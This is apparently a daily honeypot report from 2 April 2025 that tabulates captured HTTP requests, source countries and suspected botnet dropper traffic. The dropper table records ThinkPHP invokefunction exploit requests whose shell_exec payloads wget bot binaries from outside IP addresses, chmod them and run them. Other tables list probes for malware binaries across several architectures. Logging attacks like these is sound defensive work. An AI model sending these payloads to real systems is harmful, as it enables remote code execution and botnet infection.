Daily Report: 2025-04-02#
Interaction report on http service of various honeypot around the world.
ot_simplified_report#
Simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.
| source_country | targeted_country |
|---|---|
| US | Germany |
| US | Germany |
| JP | Germany |
| US | Germany |
| US | Germany |
| US | Dubai |
| US | Dubai |
| PT |
botnet_dropper_behaviour#
List of requests suspected of having stage 1 dropper behavior (programs designed to extract other files from their own code).
| remote_addr | request |
|---|---|
| 204.76.203.18 | GET /wget.sh HTTP/1.1 |
| 88.247.162.58 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘rm -rf bejv86; wget http://176.65.134.201/bejv86 -O /tmp/.Aqua; chmod 777 /tmp/.Aqua; /tmp/.Aqua thinkphp.selfrep’ HTTP/1.1 |
| 106.107.187.124 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1 |
| 175.183.33.202 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1 |
| 45.229.70.202 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1 |
| 86.132.214.187 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1 |
| 111.250.55.174 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1 |
| 86.182.124.14 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1 |
| 181.170.159.56 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1 |
| 83.59.11.104 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1 |
| 113.230.52.190 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1 |
| 81.36.113.79 | GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://45.125.12.175/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1 |
request#
List of requests of the day that have never been detected, other requests that have already been detected and archived in the request database..
| number_of_occurence | request | |
|---|---|---|
| 92 | 5 | GET /a/b/dlr.x86 HTTP/1.1 |
| 269 | 3 | GET /a/yakuza.mips HTTP/1.1 |
| 270 | 3 | GET /dead/yakuza.m68k HTTP/1.1 |
| 271 | 3 | GET /a/b/yakuza.arm4 HTTP/1.1 |
| 272 | 3 | GET /dead/dlr.ppc HTTP/1.1 |
| 273 | 3 | GET /dead/dlr.mips HTTP/1.1 |
| 274 | 3 | GET /dead/yakuza.ppc HTTP/1.1 |
| 275 | 3 | GET /yakuza.arm7 HTTP/1.1 |
| 276 | 3 | GET /a/b/yakuza.mipsel HTTP/1.1 |
| 277 | 3 | GET /dead/dlr.arm HTTP/1.1 |
| 280 | 3 | GET /a/yakuza.i686 HTTP/1.1 |
| 281 | 3 | GET /dead/dlr.m68k HTTP/1.1 |
| 282 | 3 | GET /dead/dlr.x86 HTTP/1.1 |
| 290 | 3 | GET /a/b/dlr.sh4 HTTP/1.1 |
| 291 | 3 | GET /a/b/dlr.arm6 HTTP/1.1 |
| 382 | 2 | GET /a/b/dlr.ppc HTTP/1.1 |
| 383 | 2 | GET /a/b/dlr.mpsl HTTP/1.1 |
| 445 | 1 | GET /Odin/http/call1743563690 HTTP/1.1 |
| 446 | 1 | GET /OdinHttpCall1743563690 HTTP/1.1 |
| 447 | 1 | GET /odinhttpcall1743563690 HTTP/1.1 |
| 448 | 1 | \xFA\x19e\x00\x08\x00/00IDED |
| 473 | 1 | \x00\x0E8\xD8\xAB\x17\xE1\xAE\x1Bv\x8A\x00\x00\x00\x00\x00 |
| 474 | 1 | \x00\x0E\x08\xD8\xAB\x17\xE1\xAE\x1Bv\x8A\x00\x00\x00\x00\x00 |
| 541 | 1 | GET /socket.io/1/?t=1743607300798 HTTP/1.1 |
| 613 | 1 | GET /Nmap/folder/check1743562087 HTTP/1.1 |
| 614 | 1 | GET /NmapUpperCheck1743562087 HTTP/1.1 |
| 615 | 1 | GET /nmaplowercheck1743562087 HTTP/1.1 |
country_iso_code#
List of country names and number of requests received by IPs located in these countries.
| number_of_occurence | country_iso_code | |
|---|---|---|
| 0 | 1027 | NL |
| 1 | 336 | US |
| 2 | 175 | BG |
| 3 | 162 | GB |
| 4 | 96 | DE |
| 5 | 90 | HK |
| 6 | 84 | PL |
| 7 | 83 | TW |
| 8 | 68 | CN |
| 9 | 56 | PT |
| 10 | 51 | SC |
| 11 | 50 | BE |
| 12 | 49 | BR |
| 13 | 48 | ES |
| 14 | 30 | IN |
| 15 | 24 | KR |
| 16 | 16 | TR |
| 17 | 16 | UA |
| 18 | 12 | NG |
| 19 | 9 | RO |
| 20 | 8 | MN |
| 21 | 8 | JP |
| 22 | 6 | ZA |
| 23 | 6 | CH |
| 24 | 6 | FR |
| 25 | 6 | CA |
| 26 | 5 | SG |
| 27 | 5 | VN |
| 28 | 4 | IT |
| 29 | 3 | AR |
| 30 | 3 | IR |
| 31 | 3 | AZ |
| 32 | 3 | MY |
| 33 | 2 | TH |
| 34 | 2 | AE |
| 35 | 2 | RU |
| 36 | 2 | MC |
| 37 | 2 | AO |
| 38 | 1 | KH |
| 39 | 1 | ID |
| 40 | 1 | LB |
| 41 | 1 | BA |
| 42 | 1 | MK |
| 43 | 1 | MD |
| 44 | 1 | LU |